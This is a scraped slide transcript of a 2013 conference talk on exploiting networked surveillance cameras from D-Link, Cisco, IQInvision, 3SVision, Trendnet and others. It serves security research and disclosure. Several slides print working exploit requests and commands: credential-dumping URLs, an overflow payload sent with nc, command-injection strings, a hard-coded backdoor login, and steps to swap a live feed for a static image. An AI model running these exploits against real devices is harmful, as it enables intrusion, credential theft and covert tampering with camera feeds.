Exploiting Surveillance Cameras Like a Hollywood Hacker Craig - - PowerPoint PPT Presentation

▶
exploiting surveillance cameras
SMART_READER_LITE
LIVE PREVIEW

Exploiting Surveillance Cameras Like a Hollywood Hacker Craig - - PowerPoint PPT Presentation

Mar 14, 2023 233 likes •1.46k views

Exploiting Surveillance Cameras Like a Hollywood Hacker Craig Heffner, Tactical Network Solutions Friday, July 12, 2013 Introduction Embedded vulnerability analyst for Tactical Network Solutions Embedded Device Exploitation course

slide-1
SLIDE 1

Craig Heffner, Tactical Network Solutions

Exploiting Surveillance Cameras

Like a Hollywood Hacker

Friday, July 12, 2013

slide-2
SLIDE 2

Introduction

✤ Embedded vulnerability analyst for Tactical Network Solutions ✤ Embedded Device Exploitation course instructor ✤ I do wireless stuff from time to time too

Friday, July 12, 2013

slide-3
SLIDE 3

Objectives

✤ Analyze surveillance camera security ✤ Drop some 0-days ✤ Demo a true Hollywood-style hack

Friday, July 12, 2013

slide-4
SLIDE 4

D-Link DCS-7410

Friday, July 12, 2013

slide-5
SLIDE 5

Lighttpd Access Rules

Friday, July 12, 2013

slide-6
SLIDE 6

What Isn’t in the Access Rules?

Friday, July 12, 2013

slide-7
SLIDE 7

rtpd.cgi

Friday, July 12, 2013

slide-8
SLIDE 8

eval($QUERY_STRING)

✤ http://192.168.1.101/cgi-bin/rtpd.cgi?action=stop ✤

Friday, July 12, 2013

slide-9
SLIDE 9

Friday, July 12, 2013

slide-10
SLIDE 10

The Exploit (No, Seriously...)

✤ http://192.168.1.101/cgi-bin/rtpd.cgi?reboot

Friday, July 12, 2013

slide-11
SLIDE 11

Grabing Admin Creds

✤ /cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount ✤

Friday, July 12, 2013

slide-12
SLIDE 12

pwned.

Friday, July 12, 2013

slide-13
SLIDE 13

Also Affected

Friday, July 12, 2013

slide-14
SLIDE 14

Also Affected

Friday, July 12, 2013

slide-15
SLIDE 15

Also Affected

Friday, July 12, 2013

slide-16
SLIDE 16

Also Affected

Friday, July 12, 2013

slide-17
SLIDE 17

Also Affected

Friday, July 12, 2013

slide-18
SLIDE 18

Also Affected

Friday, July 12, 2013

slide-19
SLIDE 19

Also Affected

Friday, July 12, 2013

slide-20
SLIDE 20

Shodan Dork

Friday, July 12, 2013

slide-21
SLIDE 21

CVE-2013-1599

✤ Disclosed by Core Security after talk submission

Friday, July 12, 2013

slide-22
SLIDE 22

WVC80N

Friday, July 12, 2013

slide-23
SLIDE 23

/img/snapshot.cgi

Friday, July 12, 2013

slide-24
SLIDE 24

/adm/ez.cgi

Friday, July 12, 2013

slide-25
SLIDE 25

strcpy(dest, QUERY_STRING)

Friday, July 12, 2013

slide-26
SLIDE 26

Friday, July 12, 2013

slide-27
SLIDE 27

/img/snapshot.cgi?A*152

Friday, July 12, 2013

slide-28
SLIDE 28

Where to Return?

Friday, July 12, 2013

slide-29
SLIDE 29

Return to sub_9B88

✤ PAYLOAD=$(perl -e 'print "A"x148; print "\x88\x9B"') ✤ echo -ne "GET /img/snapshot.cgi?$PAYLOAD HTTP/1.0\r\n\r\n"

| nc 192.168.1.100 80

Friday, July 12, 2013

slide-30
SLIDE 30

When Base64 Isn’t Base64

Friday, July 12, 2013

slide-31
SLIDE 31
  • BEST. USER GUIDE. EVER.

Friday, July 12, 2013

slide-32
SLIDE 32

Decoded Config

Friday, July 12, 2013

slide-33
SLIDE 33

pwned.

Friday, July 12, 2013

slide-34
SLIDE 34

Also Affected

Friday, July 12, 2013

slide-35
SLIDE 35

Shodan Dorks

Friday, July 12, 2013

slide-36
SLIDE 36

Cisco PVC-2300

Friday, July 12, 2013

slide-37
SLIDE 37

.htpasswd Protection

Friday, July 12, 2013

slide-38
SLIDE 38

/usr/local/www/oamp

Friday, July 12, 2013

slide-39
SLIDE 39

cgi_get_value(var_18, “action”)

Friday, July 12, 2013

slide-40
SLIDE 40

Valid Actions

✤ downloadConfigurationFile ✤ uploadConfigurationFile ✤ updateFirmware ✤ loadFirmware ✤ ...

Friday, July 12, 2013

slide-41
SLIDE 41

getenv(“SESSIONID”)

Friday, July 12, 2013

slide-42
SLIDE 42

strcasecmp(“login”, action)

Friday, July 12, 2013

slide-43
SLIDE 43

cgi_get_value(var_10, “user”)

Friday, July 12, 2013

slide-44
SLIDE 44

cgi_get_value(var_10, “password”)

Friday, July 12, 2013

slide-45
SLIDE 45

PRO_GetStr(“OAMP”, “l1_usr”, ...)

Friday, July 12, 2013

slide-46
SLIDE 46

PRO_GetStr(“OAMP”, “l1_pwd”, ...)

Friday, July 12, 2013

slide-47
SLIDE 47

strcmp(user, l1_usr)

Friday, July 12, 2013

slide-48
SLIDE 48

strcmp(password, l1_pwd)

Friday, July 12, 2013

slide-49
SLIDE 49

Where are l1_usr and l1_pwd?

Friday, July 12, 2013

slide-50
SLIDE 50

Friday, July 12, 2013

slide-51
SLIDE 51

Getting a Session ID

✤ $ wget http://192.168.1.101/oamp/System.xml?

action=login&user=L1_admin&password=L1_51

✤

Friday, July 12, 2013

slide-52
SLIDE 52

downloadConfigurationFile

✤ $ wget --header=”sessionID: 57592414” \

http://192.168.1.101/oamp/System.xml?\ action=downloadConfigurationFile

Friday, July 12, 2013

slide-53
SLIDE 53

When Base64 Isn’t Base64

Friday, July 12, 2013

slide-54
SLIDE 54

Non-Standard Key String

Friday, July 12, 2013

slide-55
SLIDE 55

Decoded Config

Friday, July 12, 2013

slide-56
SLIDE 56

pwned.

Friday, July 12, 2013

slide-57
SLIDE 57

action=loadFirmware

Friday, July 12, 2013

slide-58
SLIDE 58

Friday, July 12, 2013

slide-59
SLIDE 59

pwned x2

✤ $ wget --header=”sessionID: 57592414” \

http://192.168.1.101/oamp/System.xml?\ action=loadFirmware&url=https://127.0.0.1:65534/;reboot;

Friday, July 12, 2013

slide-60
SLIDE 60

Also Affected

Friday, July 12, 2013

slide-61
SLIDE 61

Shodan Dork

Friday, July 12, 2013

slide-62
SLIDE 62

IQInvision IQ832N

Friday, July 12, 2013

slide-63
SLIDE 63

Default Unauth Video Feed

Friday, July 12, 2013

slide-64
SLIDE 64

Admin Area Password Protected

Friday, July 12, 2013

slide-65
SLIDE 65
  • idtable.cgi

Friday, July 12, 2013

slide-66
SLIDE 66

strstr(QUERY_STRING, “grep=”)

Friday, July 12, 2013

slide-67
SLIDE 67

if(strlen(grep) < 32)

Friday, July 12, 2013

slide-68
SLIDE 68

sprintf(“grep -i ‘%s’...”)

Friday, July 12, 2013

slide-69
SLIDE 69

popen(“grep -i ‘%s’...”)

Friday, July 12, 2013

slide-70
SLIDE 70

Friday, July 12, 2013

slide-71
SLIDE 71

Command Injection

✤ http://192.168.1.101/oidtable.cgi?grep='$IFS/tmp/a;ps;' ✤ grep -i ‘’ /tmp/a;ps;’’ /tmp/oidtable.html

Friday, July 12, 2013

slide-72
SLIDE 72

Retrieving Arbitrary Files

✤ http://192.168.1.101/oidtable.cgi?grep='$IFS/etc/privpasswd;' ✤ grep -i ‘’ /etc/privpasswd;’’ /tmp/oidtable.html

Friday, July 12, 2013

slide-73
SLIDE 73

Encrypted Admin Password

Friday, July 12, 2013

slide-74
SLIDE 74

Decrypted Admin Password

Friday, July 12, 2013

slide-75
SLIDE 75

pwned.

Friday, July 12, 2013

slide-76
SLIDE 76

Also Affected

Friday, July 12, 2013

slide-77
SLIDE 77

Shodan Dork

✤ jht

Friday, July 12, 2013

slide-78
SLIDE 78

3SVision N5071

Friday, July 12, 2013

slide-79
SLIDE 79

Restricted Firmware Download

Friday, July 12, 2013

slide-80
SLIDE 80

Friday, July 12, 2013

slide-81
SLIDE 81

Use the Source, Luke

Friday, July 12, 2013

slide-82
SLIDE 82

Literacy FTW

Friday, July 12, 2013

slide-83
SLIDE 83

/home/3s/bin

Friday, July 12, 2013

slide-84
SLIDE 84

pwdgrp_get_userinfo

Friday, July 12, 2013

slide-85
SLIDE 85

Friday, July 12, 2013

slide-86
SLIDE 86
  • Hardest. Exploit. Ever.

Friday, July 12, 2013

slide-87
SLIDE 87

pwned.

Friday, July 12, 2013

slide-88
SLIDE 88

pwned.

Friday, July 12, 2013

slide-89
SLIDE 89

pwned.

Friday, July 12, 2013

slide-90
SLIDE 90

do_records

Friday, July 12, 2013

slide-91
SLIDE 91

records.cgi?action=remove

Friday, July 12, 2013

slide-92
SLIDE 92

strstr(cgi_parameters, “&filename”)

Friday, July 12, 2013

slide-93
SLIDE 93

system(“rm /mnt/sd/media/%s”)

Friday, July 12, 2013

slide-94
SLIDE 94

pwned x2

✤ $ wget \

  • -user=3sadmin --password=27988303 \

'http://192.168.1.101/records.cgi?\ action=remove&storage=sd&filename=`reboot`'

Friday, July 12, 2013

slide-95
SLIDE 95

Also Affected

Friday, July 12, 2013

slide-96
SLIDE 96

Also Affected

Friday, July 12, 2013

slide-97
SLIDE 97

Also Affected

Friday, July 12, 2013

slide-98
SLIDE 98

Also Affected

Friday, July 12, 2013

slide-99
SLIDE 99

Also Affected

Friday, July 12, 2013

slide-100
SLIDE 100

Shodan Dorks

Friday, July 12, 2013

slide-101
SLIDE 101

So Basically...

✤ I’m in your network. ✤ I can see you. ✤ And I’m root.

Friday, July 12, 2013

slide-102
SLIDE 102

Let’s T urn This...

Friday, July 12, 2013

slide-103
SLIDE 103

...Into This.

Friday, July 12, 2013

slide-104
SLIDE 104

T rendnet TV-IP410WN

Friday, July 12, 2013

slide-105
SLIDE 105

Has a Backdoor Account

productmaker:ftvsbannedcode

Friday, July 12, 2013

slide-106
SLIDE 106

That Can Access These Files

Friday, July 12, 2013

slide-107
SLIDE 107

Which Have Command Injection

Friday, July 12, 2013

slide-108
SLIDE 108

That Can Be T rivially Exploited

✤ http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;ls ✤ system(“/sbin/ptctrl ;ls”)

Friday, July 12, 2013

slide-109
SLIDE 109

By Anyone, Anywhere

Friday, July 12, 2013

slide-110
SLIDE 110

What’s Old is New Again

✤ Vulnerability first published in 2011 ✤ Report did not mention any specific devices ✤ Everyone ignored it...

Friday, July 12, 2013

slide-111
SLIDE 111

Shodan Dork

Friday, July 12, 2013

slide-112
SLIDE 112

Admin’s Video Feed

Friday, July 12, 2013

slide-113
SLIDE 113

mjpg.cgi

Friday, July 12, 2013

slide-114
SLIDE 114

Killing mjpg.cgi

✤ http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;kill$IFS-9$IFS379

Friday, July 12, 2013

slide-115
SLIDE 115

Replacing mjpg.cgi

#!/bin/sh echo -ne “HTTP/1.1 200 OK\r\n Content-Type: image/jpeg\r\n\r\n” cat /tmp/static_img.jpg

Friday, July 12, 2013

slide-116
SLIDE 116

Admin’s Video Feed

Friday, July 12, 2013

slide-117
SLIDE 117

What’s Really Happening

Friday, July 12, 2013

slide-118
SLIDE 118

Demo Time!

Friday, July 12, 2013

slide-119
SLIDE 119

Closing Thoughts

✤ Lots more bugs where these came from ✤ Cameras reveal their model number in the login prompt ✤ All exploits developed exclusively from firmware update files ✤ Binwalk + IDA + Qemu == WIN.

Friday, July 12, 2013

slide-120
SLIDE 120

Contact

✤ cheffner@tacnetsol.com ✤ http://www.tacnetsol.com ✤ @devttys0 ✤ http://www.devttys0.com/blog

Friday, July 12, 2013